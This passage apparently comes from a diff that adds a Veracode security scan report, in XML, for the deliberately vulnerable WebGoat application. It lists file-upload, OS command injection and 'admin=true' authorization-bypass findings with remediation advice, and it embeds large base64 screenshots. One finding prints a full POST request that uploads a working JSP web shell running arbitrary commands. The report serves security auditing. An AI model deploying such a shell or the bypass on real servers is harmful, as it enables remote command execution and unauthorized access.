fcKtYGNLC+n3798PNn/MMu2Azus07+0XrUWCob2NwYavcIF1eZEeM3ZjljG+nz6Z1mV8V/gUX3jT2c7rw/DkaGFgK66FwF56kvema/0CUi/S/jn3oPki01Wq/Xj9h9Vet6nR3F67ZnP9rhf8PtWu9bpeILu219e2/Pu8fLtPzRqz+t9l0Ldu3YY+43kDsq7X1b66X8Z3u8e3+ffc93fc/hvpen72vT501R/6++p77nl9uBK47teHtUipHW/EzJCuX6TbT4yxQdEOxq6Qn+XfF6xjtz8mxPtCv6vv7d/1vQjVNYf6P6Z/s9rXDNpFQnqofUN+86zfNc5j+j+2j4u8eRva/i6M76y/ySGfMa8PXW/0F3kT7vlzJdD1Nzf0tz/mNWTHc3Ctu7+03d1jetn1Ljo/gdr35qyx77Ex27uOZZp9GvpjqXfNrWv/hto/5Gl8rw7NbNr4Rsd93ufFLJ/2hMDrw6evj0PWHt8+gWsN6TZf+3hSO8Ty8u1ltmkI6ne4zT5uU/+M7+fHTLdpfJfRl/ZzpL3bves51Nyu14dljIIa6ywwV0i3j0/N27FlrF/6XX+0jUMms+qP2faYZYba0Pd4tPYy1je+5U4Eio7P0PNq3vrzLj9m+54/5Z4/Q/4eLyMweEw6b7bv2Fzzsfa72/rn9jvjWcfA2l1s/xH3HYvumqF31er7A263sbluXxtm9at5DGioD2N8ZrWvHoNFX5y6tj/PySlj2j/2TYHx/fTEoObfUInx7QrJrkMWfX/b7b/xvG7773vW83/M9me97A39bY15fRpjvMuvD2ViR9V5BEaF9DwF13nZZniuczvnaduy+7TsevP0JbrsJrd91huZRQO6q+Z1G1339iLPoU1q69h+bmOfxvZ9W5aba3f3tnRaP34RyH/EzfsyA4Hz6gVWOb71DHTZu7VXr6oFBK5PYKdm0tfHaksECBAgQCAuYCYdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
+        following POST request uploaded a jsp based shell that could later be accessed
+        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
+        configured within the current web server, causing the jsp code to be interpreted
+        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
+        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
+        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
+        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
+        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
+        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
+        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
+        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
+        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
+        \       DataInputStream dis = new DataInputStream(in);\n        String disr
+        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
+        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
+        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"false\"><desc><para
+        text=\"OS command injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct and execute
+        a system command.  This allows an attacker to either alter the command executed
+        by the application or append additional commands.  The command is typically
+        executed with the privileges of the executing process and gives an attacker
+        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
+        text=\"Careful handling of all untrusted data is critical in preventing OS
+        command injection attacks.   Using one or more of the following techniques
+        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
+        text=\"If possible, use library calls rather than external processes to recreate
+        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
+        using positive filters (white lists) to ensure that it conforms to the expected
+        format, using centralized data validation routines when possible. \"/><bulletitem
+        text=\"Select safe API routines.  Some APIs that execute system commands take
+        an array of strings as input rather than a single string, which protects against
+        some forms of command injection by ensuring that a user-supplied argument
+        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
+        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
+        an OS Command ('OS Command Injection')\" pcirelated=\"false\" owasp=\"929\"
+        sans=\"864\" certc=\"741\" certcpp=\"875\" certjava=\"845\"><description><text
+        text=\"This call contains a command injection flaw.  The argument to the function
+        is constructed using user-supplied input.  If an attacker is allowed to specify
+        all or part of the command, it may be possible to execute commands on the
+        server with the privileges of the executing process.  The level of exposure
+        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String  [], java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String, java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
+        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" description=\"This call contains
+        a command injection flaw. The argument to the function is constructed using
+        user-supplied input. If an attacker is allowed to specify all or part of the
+        command, it may be possible to execute commands on the server with the privileges
+        of the executing process. The level of exposure depends on the effectiveness
+        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
+        to ensure that it conforms to the expected format, using centralized data
+        validation routines when possible. When using black lists, be sure that the
+        sanitizing routine performs a sufficient number of iterations to remove all
+        instances of disallowed characters. Most APIs the execute system commands
+        also have a &quot;safe&quot; version of the method that takes an array of
+        strings as input rather than a single string, which protects against some
+        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
+        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
+        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
+        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
+        pcirelated=\"false\" sans=\"866\" certcpp=\"878\" certjava=\"859\">\n<description>\n<text
+        text=\"The application uses a protection mechanism that relies on the existence
+        or values of an input, but the input can be modified by an untrusted actor
+        in a way that bypasses the protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Reliance on Untrusted Inputs in a Security Decision\"
+        count=\"1\" issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The
+        application uses a protection mechanism that relies on the existence of an
+        input, but the input can be modified by an untrusted actor in a way that bypasses
+        the protection mechanism. By adding the parameter 'admin' with a value of
+        'true' the administrative interface of the application is accessible to a
+        non-administrative user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\"
+        exploitLevel=\"2\" categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack\"
+        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
+        attacker can set this parameter easily within their web-browser. Links to
+        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
+        can bypass the security decision to access whatever is being protected. The
+        consequences will depend on the associated functionality, but they can range
+        from granting additional privileges to untrusted users to bypassing important
+        security checks. Ultimately, this weakness may lead to exposure or modification
+        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
+        all inputs that are used for security decisions and determine if you can modify
+        the design so that you do not have to rely on submitted inputs at all. For
+        example, you may be able to keep critical information about the user's session
+        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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